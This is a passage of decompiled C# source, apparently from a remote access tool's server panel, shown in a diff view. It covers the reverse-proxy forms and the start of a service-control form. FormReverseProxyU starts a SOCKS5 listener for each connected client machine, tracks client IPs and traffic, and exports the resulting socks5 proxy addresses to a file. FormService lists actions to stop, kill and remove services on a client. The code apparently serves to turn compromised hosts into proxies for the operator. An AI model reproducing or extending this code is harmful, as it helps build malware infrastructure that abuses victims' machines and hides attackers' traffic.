System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormReverseProxyR));
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.GridIps = new System.Windows.Forms.DataGridView();
this.ColumnClient = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnTarget = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnTargetPort = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnTotalRecived = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnTotalSent = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.panel1 = new System.Windows.Forms.Panel();
this.materialSwitch2 = new MaterialSkin.Controls.MaterialSwitch();
this.rjButton2 = new CustomControls.RJControls.RJButton();
this.timer1 = new System.Windows.Forms.Timer(this.components);
((System.ComponentModel.ISupportInitialize)this.GridIps).BeginInit();
this.panel1.SuspendLayout();
base.SuspendLayout();
this.rjTextBox1.BackColor = System.Drawing.Color.White;
this.rjTextBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 1;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.Black;
this.rjTextBox1.Location = new System.Drawing.Point(7, 69);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "Port";
this.rjTextBox1.Size = new System.Drawing.Size(92, 28);
this.rjTextBox1.TabIndex = 2;
this.rjTextBox1.Texts = "3128";
this.rjTextBox1.UnderlinedStyle = false;
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(106, 69);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(92, 27);
this.rjButton1.TabIndex = 3;
this.rjButton1.Text = "Start";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.GridIps.AllowUserToAddRows = false;
this.GridIps.AllowUserToDeleteRows = false;
this.GridIps.AllowUserToResizeColumns = false;
this.GridIps.AllowUserToResizeRows = false;
this.GridIps.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.GridIps.BackgroundColor = System.Drawing.Color.White;
this.GridIps.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.GridIps.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.GridIps.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridIps.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.GridIps.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.GridIps.Columns.AddRange(this.ColumnClient, this.ColumnTarget, this.ColumnTargetPort, this.ColumnTotalRecived, this.ColumnTotalSent);
this.GridIps.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.GridIps.DefaultCellStyle = dataGridViewCellStyle2;
this.GridIps.EnableHeadersVisualStyles = false;
this.GridIps.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.GridIps.Location = new System.Drawing.Point(6, 104);
this.GridIps.Name = "GridIps";
this.GridIps.ReadOnly = true;
this.GridIps.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridIps.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.GridIps.RowHeadersVisible = false;
this.GridIps.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.GridIps.ShowCellErrors = false;
this.GridIps.ShowCellToolTips = false;
this.GridIps.ShowEditingIcon = false;
this.GridIps.ShowRowErrors = false;
this.GridIps.Size = new System.Drawing.Size(742, 392);
this.GridIps.TabIndex = 14;
this.ColumnClient.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnClient.HeaderText = "Client";
this.ColumnClient.MinimumWidth = 80;
this.ColumnClient.Name = "ColumnClient";
this.ColumnClient.ReadOnly = true;
this.ColumnClient.Width = 80;
this.ColumnTarget.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnTarget.HeaderText = "Target";
this.ColumnTarget.MinimumWidth = 80;
this.ColumnTarget.Name = "ColumnTarget";
this.ColumnTarget.ReadOnly = true;
this.ColumnTarget.Width = 80;
this.ColumnTargetPort.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnTargetPort.HeaderText = "Target Port";
this.ColumnTargetPort.MinimumWidth = 120;
this.ColumnTargetPort.Name = "ColumnTargetPort";
this.ColumnTargetPort.ReadOnly = true;
this.ColumnTargetPort.Width = 120;
this.ColumnTotalRecived.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnTotalRecived.HeaderText = "Total Recived";
this.ColumnTotalRecived.MinimumWidth = 120;
this.ColumnTotalRecived.Name = "ColumnTotalRecived";
this.ColumnTotalRecived.ReadOnly = true;
this.ColumnTotalRecived.Width = 120;
this.ColumnTotalSent.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.ColumnTotalSent.HeaderText = "Total Sent";
this.ColumnTotalSent.Name = "ColumnTotalSent";
this.ColumnTotalSent.ReadOnly = true;
this.panel1.BackColor = System.Drawing.Color.White;
this.panel1.Controls.Add(this.materialSwitch2);
this.panel1.Controls.Add(this.rjButton2);
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(749, 435);
this.panel1.TabIndex = 15;
this.materialSwitch2.AutoSize = true;
this.materialSwitch2.Depth = 0;
this.materialSwitch2.Location = new System.Drawing.Point(296, 2);
this.materialSwitch2.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch2.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch2.Name = "materialSwitch2";
this.materialSwitch2.Ripple = true;
this.materialSwitch2.Size = new System.Drawing.Size(129, 37);
this.materialSwitch2.TabIndex = 16;
this.materialSwitch2.Text = "Auto Start";
this.materialSwitch2.UseVisualStyleBackColor = true;
this.materialSwitch2.CheckedChanged += new System.EventHandler(materialSwitch2_CheckedChanged);
this.rjButton2.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BorderRadius = 0;
this.rjButton2.BorderSize = 0;
this.rjButton2.FlatAppearance.BorderSize = 0;
this.rjButton2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton2.ForeColor = System.Drawing.Color.White;
this.rjButton2.Location = new System.Drawing.Point(201, 5);
this.rjButton2.Name = "rjButton2";
this.rjButton2.Size = new System.Drawing.Size(92, 27);
this.rjButton2.TabIndex = 16;
this.rjButton2.Text = "Hide";
this.rjButton2.TextColor = System.Drawing.Color.White;
this.rjButton2.UseVisualStyleBackColor = false;
this.rjButton2.Click += new System.EventHandler(rjButton2_Click);
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick_1);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(755, 502);
base.Controls.Add(this.GridIps);
base.Controls.Add(this.rjTextBox1);
base.Controls.Add(this.rjButton1);
base.Controls.Add(this.panel1);
base.Icon = (System.Drawing.Icon)resources.GetObject("$this.Icon");
this.MinimumSize = new System.Drawing.Size(560, 443);
base.Name = "FormReverseProxyR";
this.Text = "Reverse Proxy Random mode [0]";
base.Load += new System.EventHandler(RemoteDesktop_Load);
((System.ComponentModel.ISupportInitialize)this.GridIps).EndInit();
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
base.ResumeLayout(false);
}
}
+505
View File
@@ -0,0 +1,505 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using MaterialSkin.Controls;
using Newtonsoft.Json;
using Server.Connectings;
using Server.Data;
using Server.Helper;
using Server.Helper.Sock5;
namespace Server.Forms;
public class FormReverseProxyU : FormMaterial
{
public bool work;
public const int port = 40000;
public string Ip;
public object Stlock = new object();
private IContainer components;
public RJButton rjButton1;
public DataGridView GridIps;
private Panel panel1;
public RJButton rjButton2;
private Timer timer1;
public MaterialSwitch materialSwitch2;
public RJButton rjButton3;
private DataGridViewTextBoxColumn Column6;
private DataGridViewTextBoxColumn Column1;
private DataGridViewTextBoxColumn Column2;
private DataGridViewTextBoxColumn Column5;
private DataGridViewTextBoxColumn Column3;
private DataGridViewTextBoxColumn Column4;
public FormReverseProxyU()
{
InitializeComponent();
base.FormClosing += Closing1;
}
public Server.Helper.Sock5.Server[] ServersAll()
{
List<Server.Helper.Sock5.Server> list = new List<Server.Helper.Sock5.Server>();
foreach (DataGridViewRow item in (IEnumerable)GridIps.Rows)
{
list.Add((Server.Helper.Sock5.Server)item.Tag);
}
return list.ToArray();
}
public Server.Helper.Sock5.Server ServersPort(int port)
{
foreach (DataGridViewRow item in (IEnumerable)GridIps.Rows)
{
if (((Server.Helper.Sock5.Server)item.Tag).port == port)
{
return (Server.Helper.Sock5.Server)item.Tag;
}
}
return null;
}
private void RemoteDesktop_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
if (File.Exists("local\\ReverseProxyU.json"))
{
ReverseProxyU reverseProxyU = JsonConvert.DeserializeObject<ReverseProxyU>(File.ReadAllText("local\\ReverseProxyU.json"));
materialSwitch2.Checked = reverseProxyU.AutoStart;
if (reverseProxyU.AutoStart)
{
rjButton1.Text = "Stop";
work = true;
}
}
Ip = Methods.GetPublicIpAsync();
timer1.Start();
}
private void ChangeScheme(object sender)
{
GridIps.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
GridIps.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
GridIps.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
GridIps.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
rjButton1.BackColor = FormMaterial.PrimaryColor;
rjButton2.BackColor = FormMaterial.PrimaryColor;
rjButton3.BackColor = FormMaterial.PrimaryColor;
}
private void Save()
{
ReverseProxyU reverseProxyU = new ReverseProxyU();
reverseProxyU.AutoStart = materialSwitch2.Checked;
File.WriteAllText("local\\ReverseProxyU.json", JsonConvert.SerializeObject(reverseProxyU, Formatting.Indented));
}
public Server.Helper.Sock5.Server NewServer(Clients clients)
{
Server.Helper.Sock5.Server server = new Server.Helper.Sock5.Server(clients);
server.StopedServer += Stoped;
server.DisconnectClientEvent += Disconnect;
server.DisconnectEvent += Responce;
server.StartedServer += Started;
server.ResponceServerEvent += Responce;
Invoke((MethodInvoker)delegate
{
DataGridViewRow dataGridViewRow = new DataGridViewRow
{
Tag = server
};
server.Tag = dataGridViewRow;
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = clients.IP
});
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = Ip + ":" + server.port
});
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = "Idle"
});
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = server.clients.Count
});
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = Methods.BytesToString(server.Recives)
});
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
{
Value = Methods.BytesToString(server.Sents)
});
GridIps.Rows.Add(dataGridViewRow);
});
if (rjButton1.Text == "Stop")
{
lock (Stlock)
{
server.Start(40000 + GridIps.Rows.Count);
}
}
return server;
}
public void Stoped(Server.Helper.Sock5.Server server)
{
server.Recives = 0L;
server.Sents = 0L;
Invoke((MethodInvoker)delegate
{
DataGridViewRow obj = (DataGridViewRow)server.Tag;
obj.Cells[1].Value = Ip + ":" + server.port;
obj.Cells[2].Value = "Idle";
obj.Cells[3].Value = server.clients.Count;
obj.Cells[4].Value = Methods.BytesToString(server.Recives);
obj.Cells[5].Value = Methods.BytesToString(server.Sents);
});
}
public void Disconnect(Server.Helper.Sock5.Server server)
{
Invoke((MethodInvoker)delegate
{
GridIps.Rows.Remove((DataGridViewRow)server.Tag);
});
}
public void Responce(Server.Helper.Sock5.Server server)
{
Invoke((MethodInvoker)delegate
{
DataGridViewRow obj = (DataGridViewRow)server.Tag;
obj.Cells[3].Value = server.clients.Count;
obj.Cells[4].Value = Methods.BytesToString(server.Recives);
obj.Cells[5].Value = Methods.BytesToString(server.Sents);
});
}
public void Responce(Client client)
{
Invoke((MethodInvoker)delegate
{
((DataGridViewRow)client.server.Tag).Cells[3].Value = client.server.clients.Count;
});
}
public void Started(Server.Helper.Sock5.Server server)
{
Invoke((MethodInvoker)delegate
{
DataGridViewRow obj = (DataGridViewRow)server.Tag;
obj.Cells[1].Value = Ip + ":" + server.port;
obj.Cells[2].Value = "Listen";
});
}
private void rjButton1_Click(object sender, EventArgs e)
{
Save();
if (rjButton1.Text == "Start")
{
int num = 40000;
Server.Helper.Sock5.Server[] array = ServersAll();
foreach (Server.Helper.Sock5.Server server in array)
{
lock (Stlock)
{
server.Start(num);
num++;
}
}
rjButton1.Text = "Stop";
}
else
{
Server.Helper.Sock5.Server[] array = ServersAll();
for (int i = 0; i < array.Length; i++)
{
array[i].Stop();
}
rjButton1.Text = "Start";
}
}
private void Closing1(object sender, FormClosingEventArgs e)
{
work = false;
Server.Helper.Sock5.Server[] array = ServersAll();
foreach (Server.Helper.Sock5.Server server in array)
{
Task.Run(delegate
{
server.ClientReverse[0].Disconnect();
});
}
GridIps.Rows.Clear();
timer1.Stop();
if (rjButton1.Text == "Stop")
{
rjButton1.Text = "Start";
}
Hide();
Save();
e.Cancel = true;
}
private void rjButton2_Click(object sender, EventArgs e)
{
Hide();
}
private void timer1_Tick_1(object sender, EventArgs e)
{
Text = $"Reverse Proxy Users mode [{GridIps.Rows.Count}]";
}
private void materialSwitch2_CheckedChanged(object sender, EventArgs e)
{
Save();
}
private void rjButton3_Click(object sender, EventArgs e)
{
List<string> list = new List<string>();
foreach (DataGridViewRow item in (IEnumerable)GridIps.Rows)
{
if ((string)item.Cells[2].Value == "Listen")
{
list.Add("socks5://" + (string)item.Cells[1].Value);
}
}
File.WriteAllLines("Proxes.txt", list.ToArray());
Process.Start("Proxes.txt");
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormReverseProxyU));
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.GridIps = new System.Windows.Forms.DataGridView();
this.panel1 = new System.Windows.Forms.Panel();
this.rjButton3 = new CustomControls.RJControls.RJButton();
this.materialSwitch2 = new MaterialSkin.Controls.MaterialSwitch();
this.rjButton2 = new CustomControls.RJControls.RJButton();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn();
((System.ComponentModel.ISupportInitialize)this.GridIps).BeginInit();
this.panel1.SuspendLayout();
base.SuspendLayout();
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(7, 7);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(92, 27);
this.rjButton1.TabIndex = 3;
this.rjButton1.Text = "Start";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.GridIps.AllowUserToAddRows = false;
this.GridIps.AllowUserToDeleteRows = false;
this.GridIps.AllowUserToResizeColumns = false;
this.GridIps.AllowUserToResizeRows = false;
this.GridIps.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.GridIps.BackgroundColor = System.Drawing.Color.White;
this.GridIps.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.GridIps.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.GridIps.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridIps.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.GridIps.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.GridIps.Columns.AddRange(this.Column6, this.Column1, this.Column2, this.Column5, this.Column3, this.Column4);
this.GridIps.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.GridIps.DefaultCellStyle = dataGridViewCellStyle2;
this.GridIps.EnableHeadersVisualStyles = false;
this.GridIps.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.GridIps.Location = new System.Drawing.Point(6, 104);
this.GridIps.Name = "GridIps";
this.GridIps.ReadOnly = true;
this.GridIps.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridIps.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.GridIps.RowHeadersVisible = false;
this.GridIps.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.GridIps.ShowCellErrors = false;
this.GridIps.ShowCellToolTips = false;
this.GridIps.ShowEditingIcon = false;
this.GridIps.ShowRowErrors = false;
this.GridIps.Size = new System.Drawing.Size(742, 392);
this.GridIps.TabIndex = 14;
this.panel1.BackColor = System.Drawing.Color.White;
this.panel1.Controls.Add(this.rjButton3);
this.panel1.Controls.Add(this.rjButton1);
this.panel1.Controls.Add(this.materialSwitch2);
this.panel1.Controls.Add(this.rjButton2);
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(749, 435);
this.panel1.TabIndex = 15;
this.rjButton3.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton3.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton3.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton3.BorderRadius = 0;
this.rjButton3.BorderSize = 0;
this.rjButton3.FlatAppearance.BorderSize = 0;
this.rjButton3.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton3.ForeColor = System.Drawing.Color.White;
this.rjButton3.Location = new System.Drawing.Point(105, 7);
this.rjButton3.Name = "rjButton3";
this.rjButton3.Size = new System.Drawing.Size(92, 27);
this.rjButton3.TabIndex = 17;
this.rjButton3.Text = "Import";
this.rjButton3.TextColor = System.Drawing.Color.White;
this.rjButton3.UseVisualStyleBackColor = false;
this.rjButton3.Click += new System.EventHandler(rjButton3_Click);
this.materialSwitch2.AutoSize = true;
this.materialSwitch2.Depth = 0;
this.materialSwitch2.Location = new System.Drawing.Point(298, 3);
this.materialSwitch2.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch2.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch2.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch2.Name = "materialSwitch2";
this.materialSwitch2.Ripple = true;
this.materialSwitch2.Size = new System.Drawing.Size(129, 37);
this.materialSwitch2.TabIndex = 16;
this.materialSwitch2.Text = "Auto Start";
this.materialSwitch2.UseVisualStyleBackColor = true;
this.materialSwitch2.CheckedChanged += new System.EventHandler(materialSwitch2_CheckedChanged);
this.rjButton2.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BorderRadius = 0;
this.rjButton2.BorderSize = 0;
this.rjButton2.FlatAppearance.BorderSize = 0;
this.rjButton2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton2.ForeColor = System.Drawing.Color.White;
this.rjButton2.Location = new System.Drawing.Point(203, 7);
this.rjButton2.Name = "rjButton2";
this.rjButton2.Size = new System.Drawing.Size(92, 27);
this.rjButton2.TabIndex = 16;
this.rjButton2.Text = "Hide";
this.rjButton2.TextColor = System.Drawing.Color.White;
this.rjButton2.UseVisualStyleBackColor = false;
this.rjButton2.Click += new System.EventHandler(rjButton2_Click);
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick_1);
this.Column6.HeaderText = "Client";
this.Column6.MinimumWidth = 120;
this.Column6.Name = "Column6";
this.Column6.ReadOnly = true;
this.Column6.Width = 120;
this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None;
this.Column1.HeaderText = "Proxy";
this.Column1.MinimumWidth = 120;
this.Column1.Name = "Column1";
this.Column1.ReadOnly = true;
this.Column1.Width = 150;
this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column2.HeaderText = "Status";
this.Column2.MinimumWidth = 100;
this.Column2.Name = "Column2";
this.Column2.ReadOnly = true;
this.Column5.HeaderText = "Connects";
this.Column5.MinimumWidth = 100;
this.Column5.Name = "Column5";
this.Column5.ReadOnly = true;
this.Column3.HeaderText = "Recives";
this.Column3.MinimumWidth = 100;
this.Column3.Name = "Column3";
this.Column3.ReadOnly = true;
this.Column4.HeaderText = "Sents";
this.Column4.MinimumWidth = 100;
this.Column4.Name = "Column4";
this.Column4.ReadOnly = true;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(755, 502);
base.Controls.Add(this.GridIps);
base.Controls.Add(this.panel1);
base.Icon = (System.Drawing.Icon)resources.GetObject("$this.Icon");
this.MinimumSize = new System.Drawing.Size(560, 443);
base.Name = "FormReverseProxyU";
this.Text = "Reverse Proxy Users mode [0]";
base.Load += new System.EventHandler(RemoteDesktop_Load);
((System.ComponentModel.ISupportInitialize)this.GridIps).EndInit();
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
base.ResumeLayout(false);
}
}
+312
View File
@@ -0,0 +1,312 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Reflection;
using System.Windows.Forms;
using Leb128;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormService : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
private ContextMenuStrip contextMenuStrip1;
private ToolStripMenuItem stopToolStripMenuItem;
private ToolStripMenuItem killRemoveToolStripMenuItem;
private Panel panel1;
public DataGridView dataGridView2;
public MaterialLabel materialLabel1;
private ToolStripMenuItem startToolStripMenuItem;
private ToolStripMenuItem pauseToolStripMenuItem;
